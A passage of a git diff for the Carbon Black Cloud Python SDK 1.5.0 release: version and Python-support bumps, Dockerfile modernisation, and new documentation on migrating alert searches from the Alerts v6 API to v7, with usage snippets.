diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 69e504d91..7789b745d 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -4,7 +4,7 @@ repos: hooks: - id: flake8 additional_dependencies: [flake8-docstrings] - args: ["--docstring-convention", "google"] + args: [ "--docstring-convention", "google"] - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.0.1 hooks: diff --git a/.readthedocs.yaml b/.readthedocs.yaml index 92ee7b134..243fcb863 100644 --- a/.readthedocs.yaml +++ b/.readthedocs.yaml @@ -9,7 +9,7 @@ version: 2 build: os: ubuntu-22.04 tools: - python: "3.8" + python: "3.11" # You can also specify other tool versions: # nodejs: "19" # rust: "1.64" diff --git a/README.md b/README.md index aba864fca..ebf3d51c4 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ # VMware Carbon Black Cloud Python SDK -**Latest Version:** 1.4.3 +**Latest Version:** 1.5.0
-**Release Date:** June 26, 2023 +**Release Date:** October 24, 2023 [![Coverage Status](https://coveralls.io/repos/github/carbonblack/carbon-black-cloud-sdk-python/badge.svg?t=Id6Baf)](https://coveralls.io/github/carbonblack/carbon-black-cloud-sdk-python) [![Codeship Status for carbonblack/carbon-black-cloud-sdk-python](https://app.codeship.com/projects/9e55a370-a772-0138-aae4-129773225755/status?branch=develop)](https://app.codeship.com/projects/402767) @@ -30,7 +30,7 @@ Visit [ReadTheDocs](https://carbon-black-cloud-python-sdk.readthedocs.io/en/late ## Requirements -The Carbon Black Cloud Python SDK is design to work on Python 3.7 and above. +The Carbon Black Cloud Python SDK is design to work on Python 3.8 and above. All requirements are installed as part of `pip install carbon-black-cloud-sdk`. If you're planning on pushing changes to the Carbon Black Cloud Python SDK, the following can be used after cloning the repo `pip install -r requirements.txt` @@ -116,11 +116,17 @@ pip install sphinxcontrib-apidoc sphinx_rtd_theme sphinx-copybutton Then, build the docs locally with the following commands: ``` -sphinx-apidoc -f -o docs src/cbc_sdk cd docs make html ``` +Note that the module rst files such as ```docs/cbc_sdk.platform.rst ``` are handcrafted to control layout. +* This command will generate new version, but it is not necessary and changes should not be added to the repository. +* All pull requests will trigger a build of the documentation which can be viewed from Read The Docs --> Builds. +``` +sphinx-apidoc -f -o docs src/cbc_sdk +``` + The documentation is built in `docs/_build/html`. **N.B.:** If your documentation pages appear to generate incorrectly, check to see if you received the warning message diff --git a/VERSION b/VERSION index 428b770e3..bc80560fa 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.4.3 +1.5.0 diff --git a/codeship-services.yml b/codeship-services.yml index b4df07b69..d80187932 100644 --- a/codeship-services.yml +++ b/codeship-services.yml @@ -1,7 +1,3 @@ -testingpython37: - build: - dockerfile: ./docker/python3.7/Dockerfile - testingpython38: build: dockerfile: ./docker/python3.8/Dockerfile @@ -20,6 +16,10 @@ testingpython311: build: dockerfile: ./docker/python3.11/Dockerfile +testingpython312: + build: + dockerfile: ./docker/python3.12/Dockerfile + testingrhel: build: dockerfile: ./docker/rhel/Dockerfile diff --git a/codeship-steps.yml b/codeship-steps.yml index ccab7349d..32a9d967e 100644 --- a/codeship-steps.yml +++ b/codeship-steps.yml @@ -5,9 +5,6 @@ - name: Tests type: parallel steps: - - name: testing python 3.7 - service: testingpython37 - command: pytest - name: testing python 3.8 service: testingpython38 command: bin/tests_n_reports.sh @@ -20,6 +17,9 @@ - name: testing python 3.11 service: testingpython311 command: pytest + - name: testing python 3.12 + service: testingpython312 + command: pytest - name: testing red hat service: testingrhel command: pytest @@ -31,4 +31,4 @@ command: pytest - name: testing suse service: testingsuse - command: pytest + command: env/bin/python3 -m pytest diff --git a/docker/amazon/Dockerfile b/docker/amazon/Dockerfile index 47b6f65bd..5730cb68c 100644 --- a/docker/amazon/Dockerfile +++ b/docker/amazon/Dockerfile @@ -1,5 +1,5 @@ -from amazonlinux:latest -MAINTAINER cb-developer-network@vmware.com +FROM amazonlinux:latest +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app diff --git a/docker/python3.10/Dockerfile b/docker/python3.10/Dockerfile index 19434c19c..22baee038 100644 --- a/docker/python3.10/Dockerfile +++ b/docker/python3.10/Dockerfile @@ -1,5 +1,5 @@ -from python:3.10 -MAINTAINER cb-developer-network@vmware.com +FROM python:3.10 +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app diff --git a/docker/python3.11/Dockerfile b/docker/python3.11/Dockerfile index 1f571053d..8860954a4 100644 --- a/docker/python3.11/Dockerfile +++ b/docker/python3.11/Dockerfile @@ -1,5 +1,5 @@ -from python:3.11 -MAINTAINER cb-developer-network@vmware.com +FROM python:3.11 +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app diff --git a/docker/python3.12/Dockerfile b/docker/python3.12/Dockerfile new file mode 100644 index 000000000..f9143fee2 --- /dev/null +++ b/docker/python3.12/Dockerfile @@ -0,0 +1,7 @@ +FROM python:3.12 +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" + +COPY . /app +WORKDIR /app + +RUN pip3 install -r requirements.txt diff --git a/docker/python3.7/Dockerfile b/docker/python3.7/Dockerfile deleted file mode 100644 index c005cf0cd..000000000 --- a/docker/python3.7/Dockerfile +++ /dev/null @@ -1,7 +0,0 @@ -from python:3.7 -MAINTAINER cb-developer-network@vmware.com - -COPY . /app -WORKDIR /app - -RUN pip3 install -r requirements.txt diff --git a/docker/python3.8/Dockerfile b/docker/python3.8/Dockerfile index 0061d9a6f..9fadfedf6 100644 --- a/docker/python3.8/Dockerfile +++ b/docker/python3.8/Dockerfile @@ -1,5 +1,5 @@ -from python:3.8 -MAINTAINER cb-developer-network@vmware.com +FROM python:3.8 +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app diff --git a/docker/python3.9/Dockerfile b/docker/python3.9/Dockerfile index d2de43dee..844f6cffd 100644 --- a/docker/python3.9/Dockerfile +++ b/docker/python3.9/Dockerfile @@ -1,5 +1,5 @@ -from python:3.9 -MAINTAINER cb-developer-network@vmware.com +FROM python:3.9 +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app diff --git a/docker/rhel/Dockerfile b/docker/rhel/Dockerfile index c7cfb8409..7c47abe64 100644 --- a/docker/rhel/Dockerfile +++ b/docker/rhel/Dockerfile @@ -1,5 +1,5 @@ -from registry.access.redhat.com/ubi8/ubi:latest -MAINTAINER cb-developer-network@vmware.com +FROM registry.access.redhat.com/ubi8/ubi:latest +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app diff --git a/docker/suse/Dockerfile b/docker/suse/Dockerfile index 4210b583b..e2bb65430 100644 --- a/docker/suse/Dockerfile +++ b/docker/suse/Dockerfile @@ -1,5 +1,5 @@ -from opensuse/tumbleweed -MAINTAINER cb-developer-network@vmware.com +FROM opensuse/tumbleweed +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app @@ -7,5 +7,9 @@ WORKDIR /app RUN zypper --non-interactive install python3-devel RUN zypper --non-interactive install python3-pip RUN zypper --non-interactive install gcc -RUN pip3 install -r requirements.txt -RUN pip3 install . + +RUN python3 -m venv env +RUN source env/bin/activate + +RUN env/bin/pip3 install --break-system-packages -r requirements.txt +RUN env/bin/pip3 install --break-system-packages . diff --git a/docker/ubuntu/Dockerfile b/docker/ubuntu/Dockerfile index 6ab9b4e26..74709470a 100644 --- a/docker/ubuntu/Dockerfile +++ b/docker/ubuntu/Dockerfile @@ -1,5 +1,5 @@ -from ubuntu:20.04 -MAINTAINER cb-developer-network@vmware.com +FROM ubuntu:20.04 +LABEL org.opencontainers.image.authors="cb-developer-network@vmware.com" COPY . /app WORKDIR /app diff --git a/docs/_static/cbc_platform_notification_edit.png b/docs/_static/cbc_platform_notification_edit.png index e5bfcdcd8..4e16e1aad 100644 Binary files a/docs/_static/cbc_platform_notification_edit.png and b/docs/_static/cbc_platform_notification_edit.png differ diff --git a/docs/alerts-migration.rst b/docs/alerts-migration.rst new file mode 100644 index 000000000..eb74e02df --- /dev/null +++ b/docs/alerts-migration.rst @@ -0,0 +1,530 @@ +.. _alert-migration-guide: + +Alert Migration +=============== + +Use this guide to update from SDK v1.4.3 or earlier (using Alerts v6 API) to +SDK v1.5.0 or (Alerts v7 API). + +We recommend that customers evaluate the new fields that are available in Alerts v7 API and supported in SDK 1.5.0 onwards +to maximize the benefits from the new data. A lot of new metadata is included in the Alert record that can help simplify your integration. For example, if you were previously getting process information to enrich the command +line, the process commandline is now included in the Alert record. + +Resources +--------- + +* `Alerts Migration Guide `_ +* `Alerts v7 Announcement `_ +* `Alert Search and Response Fields `_ +* Example script showing breaking and compatibility features `alert_v6_v7_migration.py in GitHub Examples `_. +* SDK 1.5.0 Alert Example Script `alerts_common_scenarios.py in GitHub Examples `_. + +Overview +--------- +In SDK 1.5.0, we balance backwards compatibility with making +breaking changes apparent to avoid silent integration failures. Such failures might lead to the perception that things continue to work +when they do not work. + +* Breaking Changes + + * Default Search Time Period is reduced to two weeks. See `Default Search Time Period`_. + * Fields that do not exist in Alert v7 API: FunctionalityDecommissioned exception is raised if called. See + `SDK Treatment of Fields that have been removed`_. + * ``get_events()`` method has been removed. See `Enriched Events have been Replaced by Observations`_. + * Facet terms match the field names. See `Facet Terms`_. + * Workflow is rebuilt. See `Streamlined Alert Workflow`_. + * Create Note returns a single ``Note`` instance instead of a list. See `create_note() return type`_. + +* Backwards compatibility: + + * Class name change: Alert replaces BaseAlert, but BaseAlert is retained. See `Class Name Changes`_. + * Field name changes: The previous name is aliased to the new name on get, set, and access by property name. See `Field names aliased`_. + * The single field port is separated into local and remote fields. See `Port - split into local and remote`_. + +New Features +------------ +Enjoy all the new features! + +See an example script that demonstrates the SDK 1.5.0 features in +`GitHub Examples, alerts_common_scenarios.py +`_. + +* New metadata fields include command lines. View the new fields and identify which fields can be used in criteria, exclusions, + and as a facet term on the `Developer Network Alerts Search Fields `_. +* ``add_exclusions()``: This new method exposes the exclusion element. Any records that match these values + are excluded from the result set. +* ``get_observations()``: Gets the Observations that are related to the alert. This feature is available for most Alert types. +* ``get_process()``: This method previously got the process related to a Watchlist Alert. It is extended to get processes for other Alert Types if the Alert has a ``process_guid`` set. +* Notes can be added to an Alert or a Threat. +* Alert History can be retrieved. +* ``to_json(version)`` is a new method that returns the alert object in json format. + + * This method has been added to replace the use of the ``_info`` attribute because it is an internal representation. + * If no version parameter is provided, the version will default to API version v7. + * "v6" can be passed as a parameter and the attribute names will be translated to the Alert v6 names. + * ``to_json("v6")`` translates field names from the v7 field name to v6 field names and returns a structure as + close to v6 (SDK 1.4.3) as possible. The fields that do not have equivalents in the v7 API will be omitted. + * The ``to_json`` method is intended to ease the update path if the ``_info`` attribute was being used. + * Example method: ``show_to_json(api)``. + + + The following code snippet shows how to call the ``to_json`` method for an alert: + + .. code-block:: python + + >>> cb = get_cb_cloud_object(args) + >>> alert_query = cb.select(Alert) + >>> alert = alert_query.first() + >>> v7_dict = alert.to_json() + >>> v6_dict = alert.to_json("v6") + + The returned object v7_dict will have a dictionary representation of the alert using v7 attribute names and structure. + + The returned object v6_dict will have a dictionary representation of the alert using v6 attribute names and structure. + If the field does not exist in v7, the field will be omitted from the json representation. + +Breaking Changes +---------------- +The following changes require integration updates to avoid using functionality that is no longer available. + +The "Example Method" refers to the example script `alert_v6_v7_migration.py in GitHub +`_. + +Default Search Time Period +^^^^^^^^^^^^^^^^^^^^^^^^^^ +The default search period was one month. The default search period is now two weeks. + +* The SDK does not make any compensating changes for this change of time. +* Example method: ``base_class_and_default_time_range(api)``. + +The following snippet shows how to set the search window to the previous month. See the Developer Network for details on the +`Time Range Filter `_ + +.. code-block:: python + + >>> alerts = api.select(Alert).set_time_range(range="-1M") + +SDK Treatment of Fields that have been removed +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +Some fields from the Alert API v6 (SDK 1.4.3 and earlier) do not have an equivalent in +Alert v7 API (SDK 1.5.0+). A ``FunctionalityDecommissioned`` exception will be raised if they are used. + +See `Removed Fields`_ for a list of these fields. + +We recommend that you do the following: + +* Review the fields that do not have an equivalent. +* After updating to the SDK 1.5.0, check your integrations for error logs that contain ``FunctionalityDecommissioned`` + exceptions. +* Review the new fields and determine what changes can enhance your use cases. +* Use the ``add_criteria`` method to search for alerts. This method replaces the hand-crafted ``set_`` methods. +* Example method: ``set_methods_backwards_compatibility(api)``. + +For `Removed Fields`_, the SDK 1.5.0+ has the following behavior: + +* ``set_()`` will raise a ``FunctionalityDecommissioned`` exception. +* ``get()`` will raise a ``FunctionalityDecommissioned`` exception. +* ``alert.field_name`` will raise a ``FunctionalityDecommissioned`` exception. +* Example method: ``get_methods_backwards_compatibility(api)`` and ``category_monitored_removed(api)``. + +Details of all changes to API endpoints and fields are in the +`Alerts Migration Guide `_ on the Developer Network. + +The following code block calls the decommissioned method + +.. code-block:: python + + >>> from cbc_sdk import CBCloudAPI + >>> from cbc_sdk.platform import BaseAlert + >>> api = CBCloudAPI(profile="sample") + >>> alert_query = api.select(BaseAlert).set_blocked_threat_categories(["NON_MALWARE"]) + + +It generates the following exception: + +.. code-block:: python + + cbc_sdk.errors.FunctionalityDecommissioned: The set_kill_chain_statuses method does not exist in in SDK v1.5.0 + because kill_chain_status is not a valid field on Alert v7 API. The functionality has been decommissioned. + + +Similarly, the following code block calls the get attribute function by using the decommissioned attribute: ``blocked_threat_categories``: + +.. code-block:: python + + >>> from cbc_sdk import CBCloudAPI + >>> from cbc_sdk.platform import BaseAlert + >>> api = CBCloudAPI(profile="sample") + >>> alert_query = api.select(BaseAlert) + >>> alert = alert_query.first() + >>> alert.get("blocked_threat_category") + + +It generates the following exception: + +.. code-block:: python + + cbc_sdk.errors.FunctionalityDecommissioned: + The Attribute 'blocked_threat_category' does not exist in object 'WatchlistAlert' because it was + deprecated in Alerts v7. In SDK 1.5.0 the functionality is decommissioned. + +Removed Fields +^^^^^^^^^^^^^^ + +.. list-table:: Field that have been removed from Alert v7 API + :widths: 50, 50 + :header-rows: 1 + :class: longtable + + * - Field Name + - Alert Types + * - blocked_threat_category + - CB Analytics + * - category + - All + * - count + - Watchlist + * - document_guid + - Watchlist + * - group_details + - All + * - kill_chain_status + - CB Analytics + * - not_blocked_threat_category + - CB Analytics + * - target_value + - Container Runtime + * - threat_activity_dlp + - CB Analytics + * - threat_activity_phish + - CB Analytics + * - threat_cause_threat_category + - All + * - threat_cause_vector + - All + * - threat_indicators + - Watchlist + * - workload_id + - Container Runtime + + +Enriched Events have been Replaced by Observations +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +CBAnalytics get_events() is removed. + +* The Enriched Events that this method returns have been deprecated. +* Instead, use `Observations `_. +* More information is on the Developer Network Blog, + `How to Take Advantage of the New Observations API `_. + +Instead of: + +.. code-block:: python + + >>> cb = get_cb_cloud_object(args) + >>> alert_query = cb.select(CBAnalyticsAlert) + >>> alert = alert_query.first() + >>> alert.get_events() + + +Use ``get_observations``. Observations are available for many Alert Types whereas Enriched Events were limited to +CB_Analytics Alerts. Watchlist Alerts do not have associated observations, so Alerts of type Watchlist +are excluded from the search. + +.. code-block:: python + + >>> alert_query = cb.select(Alert).add_exclusions("type", "WATCHLIST") + >>> alert = alert_query.first() + >>> observations_list = alert.get_observations() + >>> len(observations_list) # execute the query + +* Example method: ``observation_replaces_enriched_event(api)`` + +Facet Terms +^^^^^^^^^^^ + +In Alerts v6 API and SDK 1.4.3, the terms available for use in facet requests +were very limited and the facet terms did not always match the field name upon which it operated. + +In Alerts v7 API and SDK 1.5.0, more fields are available and the facet term matches the field name. + +* If the term used in v6 is the same as the field in v7, the facet term continues to work +* If the term used in v6 is not the same as v7, a ``FunctionalityDecommissioned`` exception is raised. + + * Raising the exception was a conscious decision to reduce the complexity and ongoing maintenance effort in the SDK, + and to ensure visibility to customers that the Facet capability has significant improvements from which + integrations will benefit. + * Example method: ``facet_terms(api)`` + +The following snippet shows a pre-SDK 1.4.3 facet request and the ``FunctionalityDecommissioned`` exception that the +SDK 1.5.0 SDK generates. + +.. code-block:: python + + >>> from cbc_sdk.errors import FunctionalityDecommissioned + >>> try: + ... print("Calling facets with invalid term.") + ... facet_list = api.select(BaseAlert).facets(["ALERT_TYPE"]) + ... except FunctionalityDecommissioned as e: + ... print(e) + ... + Calling facets with invalid term. + The Field 'ALERT_TYPE' is not a valid facet name because it was deprecated in Alerts v7. functionality has been decommissioned. + +The following snippet shows a valid request and printed response. + +.. code-block:: python + + >>> import json + >>> facet_list = api.select(Alert).facets(["policy_applied", "attack_technique"]) + >>> print("This is a valid facet response: {}".format(json.dumps(facet_list, indent=4))) + This is a valid facet response: [ + { + "field": "attack_technique", + "values": [ + { + "total": 2, + "id": "T1048.002", + "name": "T1048.002" + }, + { + "total": 1, + "id": "T1490", + "name": "T1490" + } + ] + }, + { + "field": "policy_applied", + "values": [ + { + "total": 69224, + "id": "NOT_APPLIED", + "name": "NOT_APPLIED" + }, + { + "total": 450, + "id": "APPLIED", + "name": "APPLIED" + } + ] + } + ] + + + +Streamlined Alert Workflow +^^^^^^^^^^^^^^^^^^^^^^^^^^ + +The Alert Closure workflow is updated to be more streamlined and improves Alert lifecycle management. + +The workflow leverages the alert search structure to specify the alerts to close and has the following status': + +* **Open**, the initial status +* **In Progress**, a new intermediate status +* **Closed** which replaces *Dismissed* + +As a result of the underlying change, the workflow does not have backwards compatibility built into it. The new workflow is: + +1. Use an Alert Search to specify which Alerts will have their status updated. + + * The request body is a search request and all alerts matching the request will be updated. + * Two common uses are to update one alert or to update all alerts that have a specific threat id. + * Any search request can be used as the criteria to select alerts to update the alert status. + + .. code-block:: python + + >>> # This query selects only the alert that has the specified id: + >>> ALERT_ID = "id of the alert to close" + >>> alert_query = api.select(Alert).add_criteria("id", [ALERT_ID]) + >>> # This query selects all alerts that have the specified threat id. It is not used again in this example + >>> alert_query_for_threat = api.select(Alert).add_criteria("threat_id","CFED0B211ED09F8EC1C83D4F3FBF1709") + +2. Submit a job to update the status of Alerts. + + * The status can be ``OPEN``, ``IN PROGRESS`` or ``CLOSED`` (previously ``DISMISSED``). + * You can include a Closure Reason. + + .. code-block:: python + >>> # by calling update on the alert_query, a request to change the status + >>> # all alerts matching that criteria will be submitted + >>> job = alert_query.update("CLOSED", "RESOLVED", "NONE", "Setting to closed for SDK demo") + +3. The immediate response confirms that the job was successfully submitted. + + .. code-block:: python + >>> print("job.id = {}".format(job.id)) + job.id = 1234567 + +4. Use the :py:mod:`Job() cbc_sdk.platform.jobs.Job` class to determine when the update is complete. + + Use the Job object to wait until the Job has completed. Your python script will wait while + the SDK manages the polling to determine when the job is complete. + + .. code-block:: python + + >>> job.await_completion().result() + +5. Refresh the Alert Search to get the updated alert data into the SDK. + + .. code-block:: python + + >>> alert.refresh() + >>> print("Status = {}, Expecting CLOSED".format(alert.workflow["status"])) + +6. The Dismissal of Future Alerts for the same threat id has not changed. + + The following sequence of calls updates future alerts that have the same threat id. It is usually used in combination + with the alert closure; that is, you can use it to dismiss future alerts call to close future occurrences and call + alert closure to close current open alerts that have the threat id. + + .. code-block:: python + + >>> alert_threat_query = api.select(Alert).add_criteria("threat_id","CFED0B211ED09F8EC1C83D4F3FBF1709") + >>> alert.dismiss_threat("threat remediation done", "testing dismiss_threat in the SDK") + >>> # To undo the dismissal, call update + >>> alert.update_threat("threat remediation un-done", "testing update_threat in the SDK") + +create_note() Return Type +^^^^^^^^^^^^^^^^^^^^^^^^^ + +``alert.create_note()`` returns a Note object instead of a list. + +.. code-block:: python + + >>> alert_query = api.select(Alert) + >>> alert = alert_query.first() + >>> new_note = alert.create_note("Adding note from SDK with current timestamp: {}".format(time.time())) + >>> print(type(new_note)) + + +Backwards Compatibility +----------------------- +The following changes have code in the SDK to map updated functionality to previous SDK functions. The SDK will continue +to work, but new features should be reviewed to enhance integration and automation. + +The "Example Method" refers to the example script `alert_v6_v7_migration.py in GitHub +`_. + +Class Name Changes +^^^^^^^^^^^^^^^^^^ +* The base class for Alerts in the SDK has changed from ``BaseAlert`` to ``Alert``. + + * Backwards compatibility is retained. + * Example method: ``base_class_and_default_time_range(api)``. + +Field Names Aliased +^^^^^^^^^^^^^^^^^^^ + +To align with other parts of Carbon Black Cloud and industry conventions, many fields were deprecated +from Alerts API v6 and have equivalent fields using a different name in v7. In the SDK v1.5.0, aliases are in place +to minimize breaks. + +Details of all changes to API endpoints and fields are in the +`Alerts Migration Guide `_ on the Developer Network. + +``set_()`` on the query object translates to the new field name for the request. + + * Update to use `add_criteria(field_name, [field_value]). + * You can use many new fields in criteria to search Alerts using add_criteria, + but do not have set_ methods. + * Example method: ``set_methods_backwards_compatibility(api)``. + +``get()`` translates to the new field name to look up the value. + + * Example method: ``get_methods_backwards_compatibility(api)``. + +``alert.field_name`` translates the field name to the new name and returns the matching value. + + * Example method: ``set_methods_backwards_compatibility(api)``. + +The following fields have a new name in Alert v7 and the new field name contains the same value. + +.. list-table:: Field mappings where the field has been renamed + :widths: 50, 50 + :header-rows: 1 + :class: longtable + + * - Alert v6 API - SDK 1.4.3 or earlier + - Alert v7 API - SDK 1.5.0 or later + * - cluster_name + - k8s_cluster + * - create_time + - backend_timestamp + * - first_event_time + - first_event_timestamp + * - last_event_time + - last_event_timestamp + * - last_update_time + - backend_update_timestamp + * - namespace + - k8s_namespace + * - notes_present + - alert_notes_present + * - policy_id + - device_policy_id + * - policy_name + - device_policy + * - port + - netconn_local_port + * - protocol + - netconn_protocol + * - remote_domain + - netconn_remote_domain + * - remote_ip + - netconn_remote_ip + * - remote_namespace + - remote_k8s_namespace + * - remote_replica_id + - remote_k8s_pod_name + * - remote_workload_kind + - remote_k8s_kind + * - remote_workload_name + - remote_k8s_workload_name + * - replica_id + - k8s_pod_name + * - rule_id + - rule_id + * - run_state + - run_state + * - target_value + - device_target_value + * - threat_cause_actor_certificate_authority + - process_issuer + * - threat_cause_actor_name + - process_name. Note that `threat_cause_actor_name` was only the name of the executable. `process_name` contains the full path. + * - threat_cause_actor_publisher + - process_publisher + * - threat_cause_actor_sha256 + - process_sha256 + * - threat_cause_cause_event_id + - primary_event_id + * - threat_cause_md5 + - process_md5 + * - threat_cause_parent_guid + - parent_guid + * - threat_cause_reputation + - process_reputation + * - threat_indicators + - ttps + * - watchlists + - watchlists.id + * - workflow.last_update_time + - workflow.change_timestamp + * - workload_kind + - k8s_kind + * - workload_name + - k8s_workload_name + +Port - split into local and remote +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +* In SDK 1.4.3 and earlier, there was a single field ``port``. +* In Alerts v7 API and SDK 1.5.0, there are two fields; ``netconn_local_port`` and ``netconn_remote_port``. +* The legacy method set_ports() sets the criteria for ``netconn_local_port``. + +.. code-block:: python + + >>> # This legacy search request: + >>> api.select(BaseAlert).set_ports(["NON_MALWARE"]) diff --git a/docs/alerts.rst b/docs/alerts.rst index 82bd6f2aa..18d302e9c 100644 --- a/docs/alerts.rst +++ b/docs/alerts.rst @@ -1,219 +1,214 @@ Alerts ====== -Use alerts to get notifications about important App Control-monitored activities, such as the +Use alerts to get notifications about monitored activities such as the appearance or spread of risky files on your endpoints. The Carbon Black Cloud Python SDK provides -all of the functionalities you might need to use them efficiently. -You can use all of the operations shown in the API such as retrieving, filtering, dismissing, creating and updating. -The full list of operations and attributes can be found in the :py:mod:`BaseAlert() ` class. +an easy way to search, investigate and set the workflow of Alerts using python classes instead of raw requests. -For more information see -`the developer documentation `_ +You can use all the operations shown in the API, such as retrieving, filtering, closing, and adding notes to the +alert or the associated threat. +You can locate the full list of operations and attributes in the :py:mod:`Alert() ` class. -Retrieving of Alerts --------------------- +Resources +--------- +* `API Documentation `_ on Developer Network +* `Alert Search Fields `_ on Developer Network +* Example script in `GitHub `_ +* If you are updating from SDK version 1.4.3 or earlier, see the `alerts-migration`_ guide. -With the example below, you can retrieve the last 5 ``[:5]`` alerts with the minimum severity of ``7``. +.. note:: + In Alerts v7, and therefore SDK 1.5.0 onwards, Observed Alerts are not included; they are an Observation. The field ``category`` + has been removed from Alert. In other APIs where this field remains it will always have a value of ``THREAT``. + More information is available + `here `_. + +Retrieve Alerts +--------------- + +By using the following the example, you can retrieve the first 5 ``[:5]`` alerts that have a minimum severity level of ``7``. .. code-block:: python >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import BaseAlert + >>> from cbc_sdk.platform import Alert >>> api = CBCloudAPI(profile='sample') - >>> alerts = api.select(BaseAlert).set_minimum_severity(7)[:5] + >>> alerts = api.select(Alert).set_minimum_severity(7)[:5] >>> print(alerts[0].id, alerts[0].device_os, alerts[0].device_name, alerts[0].category) d689e626-5d6a- WINDOWS Alert-WinTest THREAT -Filtering -^^^^^^^^^ +Filter Alerts +^^^^^^^^^^^^^ -Filter alerts using the fields described in the -`Alert Search Schema `_. +Filter alerts by using the fields described in the +`Alert Search Schema `_. -You can use the ``where`` method to filter the alerts. The ``where`` supports strings and solr like queries, alternatively you can use the ``solrq`` query objects -for more complex searches. The example below will search with a solr query search string for alerts within the ``MONITORED`` and ``THREAT`` category. +Set required values for specific fields by using the ``add_criteria()`` method to limit the number of returned alerts. +Use this method for fields that are identified in the `Alert Search Fields `_ +with "Searchable Array". + +The following snippet limits returns to specific devices, where the device_id is an integer and the device_target_value +is a string. .. code-block:: python >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import BaseAlert + >>> from cbc_sdk.platform import Alert >>> api = CBCloudAPI(profile='sample') - >>> alerts = api.select(BaseAlert).where("category:THREAT or category:MONITORED")[:5] - >>> for alert in alerts: - ... print(alert.id, alert.device_os, alert.device_name, alert.category) - e45330ae- WINDOWS WINDOWS-TEST THREAT - 8791878a- WINDOWS WINDOWS-TEST MONITORED - 9d7caee4- WINDOWS WINDOWS-TEST MONITORED - 9d327888- WINDOWS WINDOWS-TEST THREAT - aab3c640- WINDOWS WINDOWS-TEST THREAT + >>> alerts = api.select(Alert).add_criteria("device_id", [123, 456]) + >>> alerts = api.select(Alert).add_criteria("device_target_value", ["MISSION_CRITICAL", "HIGH"]) -.. tip:: - When filtering by fields that take a list parameter, an empty list will be treated as a wildcard and match everything. -Ex: Returns all types +Fields in the `Alert Search Fields `_ +identified only with "Searchable" require the criteria to be a single value instead of a list of values. +The SDK has hand-crafted methods to set the criteria for these fields. + +The following code snippet shows the methods for ``alert_notes_present`` and ``minimum_severity``, and the +alerts that meet each criteria. .. code-block:: python - >>> alerts = list(cb.select(BaseAlert).set_types([])) + >>> alerts = api.select(Alert).set_alert_notes_present(True) + >>> print(len(alerts)) + 3 + >>> alerts = api.select(Alert).set_minimum_severity(9) + >>> print(len(alerts)) + 1072 + >>> alerts = api.select(Alert).set_minimum_severity(3) + >>> print(len(alerts)) + 69100 + >>> -.. tip:: - More information about the ``solrq`` can be found in the - their `documentation `_. -You can also filter on different kind of **TTPs** (*Tools Techniques Procedures*) and *Policy Actions**. +You can use the ``where`` method to define a custom query to filter alerts. The ``where`` method supports strings and solr-like queries. Alternatively, you can use ``solrq`` query objects +for more complex searches. The following example searches by using a solr query search string for alerts +where the device_target_value is MISSION_CRITICAL or HIGH and is the equivalent of the preceding add_criteria clause. .. code-block:: python >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import BaseAlert + >>> from cbc_sdk.platform import Alert >>> api = CBCloudAPI(profile='sample') - >>> alerts = api.select(BaseAlert).where(ttp='UNKNOWN_APP', sensor_action='TERMINATE', policy_name='Standard')[:5] + >>> alerts = api.select(Alert).where("device_target_value:MISSION_CRITICAL or device_target_value:HIGH") >>> for alert in alerts: - ... print(alert.original_document['threat_indicators']) - [{'process_name': 'notepad.exe', 'sha256': '', 'ttps': ['POLICY_TERMINATE', 'UNKNOWN_APP']}] - [{'process_name': 'test_file.exe', 'sha256': '', 'ttps': ['POLICY_DENY', 'POLICY_TERMINATE', 'UNKNOWN_APP']}] - [{'process_name': 'notepad.exe', 'sha256': '', 'ttps': ['POLICY_TERMINATE', 'UNKNOWN_APP']}] - ... + ... print(alert.id, alert.device_os, alert.device_name, alert.device_target_value) + 8aa6272a-17cb-31c0-9352-67e45c0251f3 WINDOWS jenkin MISSION_CRITICAL + d987a112-8b7b-18c9-43d9-76ced09d9ded WINDOWS MYDEMOMACHINE\DESKTOP-04 MISSION_CRITICAL + 0f915c4d-5652-b3e5-50d8-f4dcfc632396 WINDOWS jenkin MISSION_CRITICAL + 1f13e581-840f-1207-f661-d9b176ee9d6c WINDOWS jenkin MISSION_CRITICAL + 6ae56007-1213-4ee1-a50c-d221066ce8c9 WINDOWS MYBUILDMACHINE\Desktop-01 HIGH + ... truncated ... + +.. tip:: + When filtering by fields that take a list parameter, an empty list is treated as a wildcard and matches everything. +For example, the following snippet returns all types: + +.. code-block:: python + + >>> alerts = cb.select(Alert).set_types([]) + +It is equivalent to: + +.. code-block:: python + + >>> alerts = cb.select(Alert) + +.. tip:: + More information about the ``solrq`` can be found in + their `documentation `_. Retrieving Alerts for Multiple Organizations -------------------------------------------- -With the example below, you can retrieve alerts for multiple organizations. +By using the following example, you can retrieve alerts for multiple organizations. Ensure you have a profile created for each org in the cbc credential file. .. code-block:: python >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import BaseAlert + >>> from cbc_sdk.platform import Alert >>> org_list = ["org1", "org2"] >>> for org in org_list: - ... org = ''.join(org) + ... org = "".join(org) ... api = CBCloudAPI(profile=org) - ... alerts = api.select(BaseAlert).set_minimum_severity(7)[:5] - ... print('Results for Org {}'.format(org)) + ... 